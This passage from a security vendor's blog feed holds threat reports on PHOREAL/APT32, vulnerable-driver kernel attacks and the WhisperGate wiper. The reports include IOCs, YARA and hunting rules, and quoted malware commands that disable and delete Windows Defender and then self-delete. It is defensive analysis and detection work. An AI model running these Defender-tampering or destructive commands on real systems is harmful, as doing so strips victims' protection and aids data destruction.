<p><img src="https://www.elastic.co/es/security-labs/assets/images/phoreal-malware-targets-the-southeast-asian-financial-sector/https-lookup.jpg" alt="https://lookup.icann.org/lookup for thelivemusicgroup[.]com" /></p>
<p>The Elastic Agent appears to have been deployed post-compromise which limited our ability to determine the vector of initial access. A <a href="https://www.mandiant.com/resources/cyber-espionage-apt32">2017 Mandiant report</a> indicates that PHOREAL may be deployed in an “establish foothold” capacity to allow for victim triage and follow-on post-exploitation tools.</p>
<h2>Analysis</h2>
<p>Elastic Security utilizes the <a href="https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf">Diamond Model</a> to describe high-level relationships between the adversaries and victims of intrusions.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/phoreal-malware-targets-the-southeast-asian-financial-sector/REF4322_Diamond_Model_Analysis.png" alt="REF4322 Diamond Model Analysis" /></p>
<h3>Adversary Assessment Justification</h3>
<p>We assess with high confidence based on observed activity and previous reporting that REF4322 is <a href="https://attack.mitre.org/groups/G0050/">APT32/OceanLotus</a> and the actor behind this incident. APT32 has been active since 2014 <a href="https://www.mandiant.com/resources/cyber-espionage-apt32">notably targeting</a> Southeast Asian governments and businesses or other international businesses with interests in Vietnam. APT32 is the only group currently identified as operating the PHOREAL backdoor, and our victim matches the geographic and industry vertical profile of typical and specific prior APT32 victims.</p>
<h2>Conclusion</h2>
<h3>YARA Rules</h3>
<p>We have created a YARA rule to identify this PHOREAL activity.</p>
<p><strong>Yara rule to detect REF4322/APT32 in-memory backdoor PHOREAL/Rizzo</strong></p>
<pre><code>rule Windows_Trojan_PHOREAL {
    meta:
        Author = &quot;Elastic Security&quot;
        creation_date = &quot;2022-02-16&quot;
        last_modified = &quot;2022-02-16&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;PHOREAL&quot;
        threat_name = &quot;Windows.Trojan.PHOREAL&quot;
        description = &quot;Detects REF4322/APT32 in-memory backdoor PHOREAL/Rizzo.&quot;
        reference_sample = &quot;88f073552b30462a00d1d612b1638b0508e4ef02c15cf46203998091f0aef4de&quot;


    strings:
              \\  &quot;\\.\pipe\{A06F176F-79F1-473E-AF44-9763E3CB34E5}&quot;  ascii wide
        $a1 = { 5C 00 5C 00 2E 00 5C 00 70 00 69 00 70 00 65 00 5C 00 7B 00 41 00
                30 00 36 00 46 00 31 00 37 00 36 00 46 00 2D 00 37 00 39 00 46 00
                31 00 2D 00 34 00 37 00 33 00 45 00 2D 00 41 00 46 00 34 00 34 00
                2D 00 39 00 37 00 36 00 33 00 45 00 33 00 43 00 42 00 33 00 34 00
                45 00 35 00 7D 00 }

              \\  &quot;Local\{5FBC3F53-A76D-4248-969A-31740CBC8AD6}&quot;  ascii wide
        $a2 = { 4C 00 6F 00 63 00 61 00 6C 00 5C 00 7B 00 35 00 46 00 42 00 43 00
                33 00 46 00 35 00 33 00 2D 00 41 00 37 00 36 00 44 00 2D 00 34 00
                32 00 34 00 38 00 2D 00 39 00 36 00 39 00 41 00 2D 00 33 00 31 00
                37 00 34 00 30 00 43 00 42 00 43 00 38 00 41 00 44 00 36 00 7D 00 }

              \\  &quot;{FD5F8447-657A-45C1-894B-D533926C9B66}.dll&quot;  ascii
        $a3 = { 7B 46 44 35 46 38 34 34 37 2D 36 35 37 41 2D 34 35 43 31 2D 38 39
                34 42 2D 44 35 33 33 39 32 36 43 39 42 36 36 7D 2E 64 6C 6C }

              \\  PHOREAL start_address_bytes sequence
        $str_addr = { 8B FF 55 8B EC 56 E8 3F 3E 00 00 E8 34 3E 00 00 50 E8 14 3E
                00 00 85 C0 75 2A 8B 75 08 56 E8 21 }
    condition:
        2 of them
}

</code></pre>
<h3>Defensive Recommendations</h3>
<p>The following steps can be leveraged to improve a network’s protective posture:</p>
<ol>
<li>Enable Elastic Security Memory Protection on Windows endpoints</li>
<li>Leverage the included YARA signatures above to determine if PHOREAL activity exists within your organization</li>
<li>Monitor or block network traffic to or from identified network IOCs and remediate impacted systems accordingly.</li>
</ol>
<h3>References</h3>
<p>The following research was referenced throughout the document:</p>
<ul>
<li><a href="https://github.com/CyberMonitor/APT_CyberCriminal_Campagin_Collections/blob/master/2018/2018.10.17.OceanLotus_SpyRATs/SpyRATsofOceanLotusMalwareWhitePaper.pdf">https://github.com/CyberMonitor/APT_CyberCriminal_Campagin_Collections/blob/master/2018/2018.10.17.OceanLotus_SpyRATs/SpyRATsofOceanLotusMalwareWhitePaper.pdf</a></li>
<li><a href="https://www.mandiant.com/resources/cyber-espionage-apt32">https://www.mandiant.com/resources/cyber-espionage-apt32</a></li>
<li><a href="https://www.secureworks.com/research/threat-profiles/tin-woodlawn">https://www.secureworks.com/research/threat-profiles/tin-woodlawn</a></li>
<li><a href="https://attack.mitre.org/software/S0158/">https://attack.mitre.org/software/S0158/</a></li>
<li><a href="https://attack.mitre.org/groups/G0050/">https://attack.mitre.org/groups/G0050/</a></li>
</ul>
<h3>Observables</h3>
<table>
<thead>
<tr>
<th>Indicator</th>
<th>Type</th>
<th>Reference</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>thelivemusicgroup[.]com</td>
<td>domain-name</td>
<td></td>
<td>C2 domain encrypted in malware</td>
</tr>
<tr>
<td>103.75.117[.]250</td>
<td>ipv4-addr</td>
<td></td>
<td>Resolved IP of thelivemusicgroup[.]com</td>
</tr>
<tr>
<td>ec5d5e18804e5d8118c459f5b6f3ca96047d629a50d1a0571dee0ac8d5a4ce33</td>
<td>SHA256</td>
<td>tscon32.dll</td>
<td>PHOREAL dll</td>
</tr>
</tbody>
</table>
<h2>Artifacts</h2>
<p>Artifacts are also available for <a href="https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltecdb2d74a5c6ce1b/628e88d96f81705517a1f25b/phoreal-indicators.zip">download</a> in both ECS and STIX format in a combined zip bundle.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/es/security-labs/assets/images/phoreal-malware-targets-the-southeast-asian-financial-sector/blog-thumb-roman-columns.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Stopping Vulnerable Driver Attacks]]></title>
            <link>https://www.elastic.co/es/security-labs/stopping-vulnerable-driver-attacks</link>
            <guid>stopping-vulnerable-driver-attacks</guid>
            <pubDate>Wed, 01 Mar 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[This post includes a primer on kernel mode attacks, along with Elastic’s recommendations for securing users from kernel attacks leveraging vulnerable drivers.]]></description>
            <content:encoded><![CDATA[<h2>Key takeaways</h2>
<ul>
<li>Ransomware actors are leveraging vulnerable drivers to tamper with endpoint security products.</li>
<li>Elastic Security <a href="https://github.com/elastic/protections-artifacts/search?q=VulnDriver">released</a> 65 YARA rules to detect vulnerable driver abuse.</li>
<li>Elastic Endpoint (8.3+) protects users from this threat.</li>
</ul>
<h2>Background</h2>
<p>In 2018, <a href="https://twitter.com/GabrielLandau">Gabriel Landau</a> and <a href="https://twitter.com/dez_">Joe Desimone</a> presented a <a href="https://i.blackhat.com/us-18/Thu-August-9/us-18-Desimone-Kernel-Mode-Threats-and-Practical-Defenses.pdf">talk</a> at Black Hat covering the evolution of kernel mode threats on Windows. The most concerning trend was towards leveraging known good but vulnerable drivers to gain kernel mode execution. We showed this was practical, even with hypervisor mode integrity protection (<a href="https://docs.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-hvci-enablement">HVCI</a>) and Windows Hardware Quality Labs (<a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/install/whql-release-signature">WHQL</a>) signing requirement enabled. At the time, the risk to everyday users was relatively low, as these techniques were mostly leveraged by advanced state actors and top red teams.</p>
<p>Fast forward to 2022, and attacks leveraging vulnerable drivers are a growing concern due to a <a href="https://github.com/hfiref0x/KDU">proliferation</a> of open source <a href="https://github.com/br-sn/CheekyBlinder">tools</a> to perform these <a href="https://github.com/Cr4sh/KernelForge">attacks</a>. Vulnerable drivers have now been <a href="https://news.sophos.com/en-us/2020/02/06/living-off-another-land-ransomware-borrows-vulnerable-driver-to-remove-security-software/">used by ransomware</a> to terminate security software before encrypting the system. Organizations can reduce their risk by limiting administrative user permissions. However, it is also imperative for security vendors to protect the user-to-kernel boundary because once an attacker can execute code in the kernel, security tools can no longer effectively protect the host. Kernel access gives attackers free rein to tamper or terminate endpoint security products or inject code into protected processes.</p>
<p>This post includes a primer on kernel mode attacks, along with Elastic’s recommendations for securing users from kernel attacks leveraging vulnerable drivers.</p>
<h2>Attack flow</h2>
<p>There are a number of flaws in drivers that can allow attackers to gain kernel mode access to fully compromise the system and remain undetected. Some of the <a href="https://www.welivesecurity.com/2022/01/11/signed-kernel-drivers-unguarded-gateway-windows-core/">most common</a> flaws include granting user mode processes write access to virtual memory, physical memory, or <a href="https://en.wikipedia.org/wiki/Model-specific_register">model-specific registers</a> (MSR). Classic buffer overflows and missing bounds checks are also common.</p>
<p>A less common driver flaw is unrestricted <a href="https://www.unknowncheats.me/forum/anti-cheat-bypass/312732-physmeme-handle-device-physicalmemory-door-kernel-land-bypasses.html#post2315458">handle duplication</a>. While this may seem like innocuous functionality at first glance, handle duplication can be leveraged to gain full kernel code execution by user mode processes. For example, the latest <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer">Process Explorer</a> driver by Microsoft exposes <a href="https://github.com/Yaxser/Backstab">such a function</a>.</p>
<p>An attacker can leverage this vulnerability to duplicate a <a href="https://www.unknowncheats.me/forum/anti-cheat-bypass/312732-physmeme-handle-device-physicalmemory-door-kernel-land-bypasses.html#post2315458">sensitive handle</a> to raw physical memory present in the System (PID 4) process.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/stopping-vulnerable-driver-attacks/image1.jpg" alt="Handle to Physical Memory in the System process" /></p>
<p>After obtaining <a href="http://publications.alex-ionescu.com/Recon/ReconBru%202017%20-%20Getting%20Physical%20with%20USB%20Type-C,%20Windows%2010%20RAM%20Forensics%20and%20UEFI%20Attacks.pdf">the cr3 value</a>, the attacker can walk the page tables to convert virtual kernel addresses to their associated physical addresses. This grants an arbitrary virtual read/write primitive, which attackers can leverage to easily tamper with kernel data structures or execute arbitrary kernel code. On HVCI-enabled systems, thread control flow can be hijacked to execute arbitrary kernel functions as shown below.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/stopping-vulnerable-driver-attacks/image3.jpg" alt="Hijacking Threat Flow Control" /></p>
<p>We reported this issue to Microsoft in the vulnerable driver <a href="https://www.microsoft.com/en-us/wdsi/driversubmission">submission portal</a> on July 26, but as of this writing have not received a response. We hope Microsoft will consider this a serious security issue worth addressing. Ideally, they will release a fixed version without the vulnerable <a href="https://docs.microsoft.com/en-us/windows/win32/devio/device-input-and-output-control-ioctl-">IOCTLs</a> and include it in the default HVCI blocklist. This would be consistent with the <a href="https://github.com/MicrosoftDocs/windows-itpro-docs/blob/ce56a2f15015e07bf35cd05ce3299340d16e759a/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules.md?plain=1#L391">blocking</a> of the ProcessHacker (now known as <a href="https://github.com/winsiderss/systeminformer">System Informer</a>) driver for the <a href="https://www.unknowncheats.me/forum/downloads.php?do=file&amp;id=25441">same flaw.</a></p>
<h2>Blocklisting</h2>
<p>Blocklisting prevents known vulnerable drivers from loading on a system, and is a great first step to the vulnerable driver problem. Blocklisting can raise the cost of kernel attacks to levels out of reach for some criminal groups, while maintaining low false positive rates. The downside is it does not stop more <a href="https://decoded.avast.io/janvojtesek/the-return-of-candiru-zero-days-in-the-middle-east/">advanced groups</a>, which can identify new, previously-unknown, vulnerable drivers.</p>
<p>Microsoft maintains a <a href="https://github.com/MicrosoftDocs/windows-itpro-docs/blob/public/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules.md">catalog</a> of known exploited or malicious drivers, which should be a minimum baseline. This catalog consists of rules using various combinations of <a href="https://reversea.me/index.php/authenticode-i-understanding-windows-authenticode/">Authenticode</a> hash, certificate hash (also known as <a href="https://www.rfc-editor.org/rfc/rfc5280#section-4.1">TBS</a>), internal file name, and version. The catalog is intended to be used by Windows Defender Application Control (<a href="https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/wdac-and-applocker-overview">WDAC</a>). We used this catalog as a starting point for a more comprehensive list using the <a href="https://virustotal.github.io/yara/">YARA</a> community standard.</p>
<p>To expand on the existing list of known vulnerable drivers, we pivoted through VirusTotal data with known vulnerable import hashes and other metadata. We also combed through public attack tooling to identify additional vulnerable drivers. As common practice for Elastic Security, we made our <a href="https://github.com/elastic/protections-artifacts/search?q=VulnDriver">blocklist</a> available to the community. In Elastic <a href="https://www.elastic.co/es/security/endpoint-security">Endpoint Security</a> version 8.3 and newer, all drivers are validated against the blocklist in-line before they are allowed to load onto the system (shown below).</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/stopping-vulnerable-driver-attacks/image6.jpg" alt="enter image description here" /></p>
<h2>Allowlisting</h2>
<p>One of the most robust defenses against this driver threat is to only allow the combination of driver signer, internal file name, version, and/or hashes, which are known to be in use. We recommend organizations be as strict as feasible. For example, do not blanket trust all <a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/install/whql-test-signature-program">WHQL</a> signed drivers. This is the classic application control method, albeit focusing on drivers. An organization’s diversity of drivers should be more manageable than the entirety of user mode applications. Windows Defender Application Control (<a href="https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/wdac-and-applocker-overview">WDAC</a>) is a powerful built-in feature that can be configured this way. However, the learning curve and maintenance costs may still be too high for organizations without well-staffed security teams. To reap most of the benefits of the allowlisting approach, but reduce the cost of implementation to the users (ideally to blocklisting levels), we recommend two approaches in tandem: behavior control and alert on first seen.</p>
<h2>Behavior control</h2>
<p>The concept behind behavior control is to produce a more manageable set of allowlistable behavior choke points that can be tuned for high confidence. For example, we can create a behavior control around which applications are allowed to write drivers to disk. This may start with a relatively loose and simple rule:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/stopping-vulnerable-driver-attacks/image2.jpg" alt="Example EQL Query" /></p>
<p>From there, we can allowlist the benign applications that are known to exhibit this behavior. Then we receive and triage hits, tune the rule until it becomes high confidence, and then ship as part of our <a href="https://www.elastic.co/es/blog/whats-new-elastic-security-7-15-0">malicious behavior protection</a>. Elastic SIEM users can use the same technique to <a href="https://www.elastic.co/es/guide/en/security/current/rules-ui-create.html">create custom</a> Detection Engine <a href="https://github.com/elastic/detection-rules">rules</a> tuned specifically for their environment.</p>
<h2>First seen</h2>
<p>Elastic Security in 8.4 adds another powerful tool that can be used to identify suspicious drivers. This is the <a href="https://www.elastic.co/es/guide/en/security/8.4/rules-ui-create.html#create-new-terms-rule">“New Terms” rule type</a>, which can be used to create an alert when a term (driver hash, signer, version, internal file name, etc) is observed for the first time.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/stopping-vulnerable-driver-attacks/image5.jpg" alt="First Seen" /></p>
<p>This empowers security teams to quickly surface unusual drivers the first time they’re seen in their environment. This supports a detection opportunity for even previously unknown vulnerable drivers or other driver-based adversary tradecraft.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/stopping-vulnerable-driver-attacks/image4.jpg" alt="Visualizing It" /></p>
<h2>Conclusion</h2>
<p>Vulnerable driver exploitation, once relegated to advanced adversaries, has now proliferated to the point of being used in ransomware attacks. The time for the security community to come together and act on this problem is now. We can start raising the cost by collaborating on blocklists as a community. We should also investigate additional detection strategies such as behavior control and anomaly detection to raise the cost further without requiring significant security expertise or resources to achieve.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/es/security-labs/assets/images/stopping-vulnerable-driver-attacks/blog-thumb-clock-gears.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Operation Bleeding Bear]]></title>
            <link>https://www.elastic.co/es/security-labs/operation-bleeding-bear</link>
            <guid>operation-bleeding-bear</guid>
            <pubDate>Tue, 06 Dec 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security verifies new destructive malware targeting Ukraine: Operation Bleeding Bear]]></description>
            <content:encoded><![CDATA[<h2>Key Takeaways</h2>
<ul>
<li>Elastic Security provides new analysis and insights into targeted campaign against Ukraine organizations with destructive malware reported over the weekend of Jan 15, 2022</li>
<li>Techniques observed include process hollowing, tampering with Windows Defender, using a Master Boot Record (MBR) wiper, and file corruptor component</li>
<li>Elastic Security prevents each stage of the described campaign using prebuilt endpoint protection features</li>
</ul>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/operation-bleeding-bear/operation-bleeding-bear-image16.jpg" alt="" /></p>
<h2>Overview</h2>
<p>Over this past weekend (1/15/2022), Microsoft released details of a new <a href="https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/">campaign targeting Ukrainian government entities</a> and organizations with destructive malware. In a multi-staged attack, one malware component known as WhisperGate utilizes a wiping capability on the Master Boot Record (MBR), making any machine impacted inoperable after boot-up.</p>
<p>Within another stage, a file infector component is used to corrupt files in specific directories with specific file extensions. The elements used in this campaign lack the common characteristics of a ransomware compromise – in this case the adversary uses the same Bitcoin address for each victim and offers no sign of intent to decrypt the victim’s machine.</p>
<p>The Ukrainian National Cyber Security Coordination Center has been referring to this threat activity on its official <a href="https://twitter.com/ncsccUA/status/1482733473228013569?s=20">Twitter</a> and <a href="https://www.facebook.com/ncsccUA/posts/449966023412420">Facebook</a> accounts as Operation Bleeding Bear.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/operation-bleeding-bear/operation-bleeding-bear-image12.jpg" alt="Translation: Update information on the cyber attack on January 13-14 on Ukrainian infrastructure. For a coordinated response report the incident: report@ncscc.gov.ua" /></p>
<p><strong>Elastic users are fully protected</strong> from attacks like these through our advanced malware detection and Ransomware Protection capabilities in the platform. The Elastic Security team continues to monitor these events. This case highlights the importance of prevention when it’s up against ransomware and malware with destructive capabilities.</p>
<h3>Stage 1: WhisperGate MBR payload</h3>
<p>The Master Boot Record (MBR) is software that executes stored start-up information and, most importantly, informs the system of the location of the bootable partition on disk that contains the user’s operating system. If tampered with, this can result in the system being inoperable – a common tactic for malware and ransomware campaigns over the years to interrupt operation of the infected system.</p>
<p>The stage 1 binary is named stage1.exe and has low complexity. A 8192 byte buffer containing the new MBR data that includes the ransom note is allocated on the stack. A file handle is retrieved from <strong>CreateFileW</strong> pointing to the first physical drive which represents the MBR. That file handle is then called by <strong>WriteFile</strong> which takes only 512 bytes from the buffer writing over the Master Boot Record.</p>
<h2>Malware analysis breakdown (Stages 1-4)</h2>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/operation-bleeding-bear/operation-bleeding-bear-image2.jpg" alt="" /></p>
<p>The host is subsequently rendered inoperable during the next boot-up sequence. Below is a screenshot showing the ransom note from an affected virtual machine.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/operation-bleeding-bear/operation-bleeding-bear-image3.jpg" alt="" /></p>
<p>Contained within the ransom note are instructions soliciting payment to a bitcoin wallet address of <a href="https://www.blockchain.com/btc/address/1AVNM68gj6PGPFcJuftKATa4WLnzg8fpfv">1AVNM68gj6PGPFcJuftKATa4WLnzg8fpfv</a>. The wallet does not appear to have received funds from victims as of the publication of this post.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/operation-bleeding-bear/operation-bleeding-bear-image5.jpg" alt="" /></p>
<h3>Stage 2/3: Discord downloader and injector</h3>
<p>Once the payload has gained a foothold, further destructive capabilities are facilitated by the stage 2 binary, called stage2.exe. This binary pulls down and launches a payload hosted via the Discord content delivery network, a <a href="https://www.riskiq.com/blog/external-threat-management/discord-cdn-abuse-malware/">recently</a> <a href="https://www.zscaler.com/blogs/security-research/discord-cdn-popular-choice-hosting-malicious-payloads">reported</a> approach which is increasingly being used by malicious actors.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/operation-bleeding-bear/operation-bleeding-bear-image1.jpg" alt="" /></p>
<p>The obfuscated .NET payload (described as Stage 3 below) is then executed in memory, setting off a number of events including:</p>
<ul>
<li>Writing and executing a VBS script that uses PowerShell to add a Windows Defender exclusion on the root directory (C:)</li>
</ul>
<pre><code>Writing and executing a VBS script

&quot;C:\Windows\System32\WScript.exe&quot;&quot;C:\Users\jim\AppData\Local\Temp\Nmddfrqqrbyjeygggda.vbs&quot;

</code></pre>
<pre><code>Uses PowerShell to add a Windows Defender exclusion

powershell.exe Set-MpPreference -ExclusionPath 'C:\'
</code></pre>
<p><a href="https://www.nirsoft.net/utils/advanced_run.html">AdvancedRun</a>, a program used to run Windows applications with different settings, is then dropped to disk and executed in order to launch the Service Control Manager and stop the Windows Defender service (WinDefend).</p>
<pre><code>AdvancedRun is used to stop Windows Defender

&quot;C:\Users\jim\AppData\Local\Temp\AdvancedRun.exe&quot; /EXEFilename &quot;C:\Windows\System32\sc.exe&quot; `
  /WindowState 0 /CommandLine &quot;stop WinDefend&quot;  /StartDirectory &quot;&quot; /RunAs 8 /Run

</code></pre>
<p>AdvancedRun is used again when launching PowerShell to recursively delete the Windows Defender directory and its files.</p>
<pre><code>AdvancedRun deleting the Windows Defender directory

&quot;C:\Users\jim\AppData\Local\Temp\AdvancedRun.exe&quot; `
  /EXEFilename &quot;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe&quot; /WindowState 0 `
  /CommandLine &quot;rmdir 'C:\ProgramData\Microsoft\Windows Defender' -Recurse&quot; `
  /StartDirectory &quot;&quot; /RunAs 8 /Run
</code></pre>
<p>Copies InstallUtil.exe is a command-line utility that allows users to install and uninstall server resources from the local machine into the user’s %TEMP% directory. This action leverages the file for <a href="https://www.elastic.co/es/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process">process hollowing</a> by launching it in a suspended state.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/operation-bleeding-bear/operation-bleeding-bear-image14.jpg" alt="" /></p>
<p>It then proceeds to allocate memory (VirtualAllocEx , write the file corruptor payload (described as the Final Stage below) into memory (WriteProcessMemory), modify the thread entry point (SetThreadContext) to point to the file corruptor entry point, and start execution of the file corruptor (ResumeThread).</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/operation-bleeding-bear/operation-bleeding-bear-image8.jpg" alt="" /></p>
<h3>Final stage: File corruptor</h3>
<p>The final file corruptor payload is loaded in memory via process hollowing to the InstallUtil process. The file corruptor:</p>
<ul>
<li>Targets any local hard drives, attached USB drives, or mounted network shares</li>
<li>Scans directories for files matching internal hard-coded extension list (excluding the Windows folder)</li>
</ul>
<pre><code>.3DM .3DS .602 .7Z .ACCDB .AI .ARC .ASC .ASM .ASP .ASPX .BACKUP .BAK .BAT .BMP .BRD
.BZ .BZ2 .C .CGM .CLASS .CMD .CONFIG .CPP .CRT .CS .CSR .CSV .DB .DBF .DCH .DER .DIF
.DIP .DJVU.SH .DOC .DOCB .DOCM .DOCX .DOT .DOTM .DOTX .DWG .EDB .EML .FRM .GIF .GO
.GZ .H .HDD .HTM .HTML .HWP .IBD .INC .INI .ISO .JAR .JAVA .JPEG .JPG .JS .JSP .KDBX
.KEY .LAY .LAY6 .LDF .LOG .MAX .MDB .MDF .MML .MSG .MYD .MYI .NEF .NVRAM .ODB .ODG .ODP
.ODS .ODT .OGG .ONETOC2 .OST .OTG .OTP .OTS .OTT .P12 .PAQ .PAS .PDF .PEM .PFX .PHP .PHP3
.PHP4 .PHP5 .PHP6 .PHP7 .PHPS .PHTML .PL .PNG .POT .POTM .POTX .PPAM .PPK .PPS .PPSM .PPSX
.PPT .PPTM .PPTX .PS1 .PSD .PST .PY .RAR .RAW .RB .RTF .SAV .SCH .SHTML .SLDM .SLDX .SLK
.SLN .SNT .SQ3 .SQL .SQLITE3 .SQLITEDB .STC .STD .STI .STW .SUO .SVG .SXC .SXD .SXI .SXM
.SXW .TAR .TBK .TGZ .TIF .TIFF .TXT .UOP .UOT .VB .VBS .VCD .VDI .VHD .VMDK .VMEM .VMSD
.VMSN .VMSS .VMTM .VMTX .VMX .VMXF .VSD .VSDX .VSWP .WAR .WB2 .WK1 .WKS .XHTML .XLC .XLM
.XLS .XLSB .XLSM .XLSX .XLT .XLTM .XLTX .XLW .YML .ZIP

</code></pre>
<ul>
<li>Overwrites the start of each targeted file with 1MB of static data (byte 0xCC), regardless of file size</li>
<li>Renames each targeted file to a randomized extension</li>
<li>Deletes self with the command:</li>
</ul>
<pre><code>Overwriting, renaming, and deleting files

cmd.exe /min /C ping 111.111.111.111 -n 5 -w 10 &gt; Nul &amp; Del /f /q &lt;running process path&gt;

</code></pre>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/operation-bleeding-bear/operation-bleeding-bear-image9.jpg" alt="" /></p>
<h2>MBR protection with Elastic Security</h2>
<p>Changes to the MBR are particularly strong signals of anomalous and destructive activity typically associated with ransomware. To counteract this, Elastic security researchers built an MBR protection component based around these signals into our multi-layered ransomware protection feature.</p>
<p>When a process attempts to overwrite the contents of the MBR, the prewrite buffer and other associated process metadata will be analyzed inline before any changes are written to disk. If the activity is deemed malicious in nature, the process will either be terminated immediately (prevention mode) and / or an appropriate ransomware alert will be generated (prevention and detection modes) to allow security operators time to respond.</p>
<p>When configured in prevention mode, Elastic Security’s ransomware protection ensures that the integrity of the MBR is fully preserved, with no changes ever reaching disk thanks to the synchronous framework leveraged by the feature — effectively preventing the ransomware attack in their tracks as the offending process is terminated.</p>
<p>When WriteFile is invoked on PhysicalDrive0 on a host running Elastic Security with ransomware protection enabled, the pending change will immediately be analyzed and deemed malicious. Afterwards, the process will be terminated, the endpoint user will be alerted via a popup notification, and a ransomware prevention alert will be sent to and stored in Elasticsearch. The intended ransom note can be easily deciphered after Base64 decoding the contents of the prewrite buffer found in the alert within Kibana.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/operation-bleeding-bear/operation-bleeding-bear-image13.jpg" alt="" /></p>
<p>It is important to note that while this behaviour is detected by Elastic, it is not specific to this payload and rather the behaviour the payload is exhibiting. This increases our chance of being able to detect and prevent malicious behaviors, even when a static signature of the malware is not known. Threat actors find this kind of control more difficult to evade than traditional, signature-based detection and prevention approaches.</p>
<h2>Observing WhisperGate in Elastic Security</h2>
<p>By observing the process hash of the stage 1 dropper above (a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92) via the process.hash function within Elastic Security, we can isolate the ransomware alert and analyze the blocked attempt at overwriting the MBR.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/operation-bleeding-bear/operation-bleeding-bear-image7.png" alt="" /></p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/operation-bleeding-bear/operation-bleeding-bear-image4.jpg" alt="" /></p>
<p>As we can see, the data is stored as a Base64 encoded string in Elasticsearch. Decoded, we can see the contents of the ransom note that would be displayed to the end user of an affected system.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/operation-bleeding-bear/operation-bleeding-bear-image6.png" alt="" /></p>
<h2>Alert breakdown and defensive recommendations</h2>
<p>The following alerts were triggered in Elastic Security during our investigations:</p>
<h3>Endpoint Security Integration Alerts</h3>
<h4>Stage 1 - MBR Wiper</h4>
<p>(a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92)</p>
<ul>
<li>Malware Prevention Alert</li>
<li>Ransomware Prevention Alert (MBR overwrite)</li>
</ul>
<h4>Stage 2 - Downloader</h4>
<p>(dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78)</p>
<ul>
<li>Malware Prevention Alert</li>
</ul>
<h4>Stage 3 + Stage 4 - Injector/File Corruptor</h4>
<p>(34CA75A8C190F20B8A7596AFEB255F2228CB2467BD210B2637965B61AC7EA907)</p>
<ul>
<li>Ransomware Prevention Alert (canary files)</li>
<li>Malicious Behaviour Prevention Alert - Binary Masquerading via Untrusted Path</li>
<li>Memory Threat Prevention Alert</li>
</ul>
<h3>Prebuilt Detection Engine Alerts</h3>
<p>The following existing <a href="https://github.com/elastic/detection-rules">public detection rules</a> can also be used to detect some of the employed techniques:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/execution_suspicious_cmd_wmi.toml">Suspicious Execution via Windows Management Instrumentation (WMI)</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_defender_exclusion_via_powershell.toml">Windows Defender Exclusions Added via PowerShell</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/command_and_control_common_webservices.toml">Connection to Commonly Abused Web Services</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/execution_from_unusual_directory.toml">Process Execution from an Unusual Directory</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/initial_access_script_executing_powershell.toml">Windows Script Executing PowerShell</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/ef7548f04c4341e0d1a172810330d59453f46a21/rules/windows/defense_evasion_disabling_windows_defender_powershell.toml">Disabling Windows Defender Security Settings via PowerShell</a></li>
</ul>
<h3>Hunting queries</h3>
<p>Detect attempt to tamper with Windows defender settings via <a href="https://www.nirsoft.net/utils/advanced_run.html">NirSoft AdvancedRun</a> executed by <a href="https://www.virustotal.com/gui/file/923eb77b3c9e11d6c56052318c119c1a22d11ab71675e6b95d05eeb73d1accd6/community">the Stage 3 injector</a>:</p>
<pre><code>Detect attempts to tamper with Windows Defender

process where event.type == &quot;start&quot; and
process.pe.original_file_name == &quot;AdvancedRun.exe&quot; and
process.command_line :
   (&quot;*rmdir*Windows Defender*Recurse*&quot;,
    &quot;*stop WinDefend*&quot;)
</code></pre>
<p>Masquerade as InstallUtil via code injection:</p>
